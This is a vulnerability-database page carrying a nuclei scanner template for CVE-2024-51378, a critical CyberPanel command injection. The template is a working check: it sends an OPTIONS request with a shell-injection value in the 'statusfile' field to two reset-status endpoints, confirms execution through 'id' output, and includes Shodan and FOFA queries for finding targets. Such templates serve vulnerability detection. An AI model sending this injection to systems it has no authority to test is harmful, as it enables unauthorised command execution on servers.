Lucene search
K

CyberPanel - Command Injection

🗓️ 25 Jun 2026 05:45:03Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 28 Views

Critical command injection in CyberPanel allows unauthorized access through endpoint mishandling.

Related
Refs
Code
id: CVE-2024-51378

info:
  name: CyberPanel - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    CyberPanel contains a command injection vulnerability in the /ftp/getresetstatus and /dns/getresetstatus endpoints.The vulnerability exists due to improper validation of the 'statusfile' parameter, which is directly used in a shell command.The security middleware only validates POST requests, allowing attackers to bypass protection using OPTIONS requests.
  impact: |
    Attackers can exploit this vulnerability to compromise system security and integrity.
  remediation: |
    Apply the latest security patches and updates to address this vulnerability.
  reference:
    - https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/
    - https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51378
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-51378
    cwe-id: CWE-78
    epss-score: 0.94878
    epss-percentile: 0.9985
    cpe: cpe:2.3:a:cyberpanel:cyberpanel:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    product: CyberPanel
    shodan-query: html:"CyberPanel"
    fofa-query: app="CyberPanel"
  tags: cve,cve2024,cyberpanel,rce,kev,vkev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        OPTIONS /{{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-Csrftoken: {{csrftoken}}

        {"statusfile": "; id; #"}

    payloads:
      path:
        - "ftp/getresetstatus"
        - "dns/getresetstatus"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
          - 'requestStatus":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        name: csrftoken
        group: 1
        regex:
          - "csrftoken=([a-zA-Z0-9]+)"
        internal: true
# digest: 490a00463044022033ae109710f763d5a6fdf0ac6dbbcfe58893fb17edb5231af1ff755debb3730f02204b7daaff437bf2282d610276f1b282c949d806a98c08ec229f2403c660652916:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8 - 10
EPSS0.94878
SSVC
28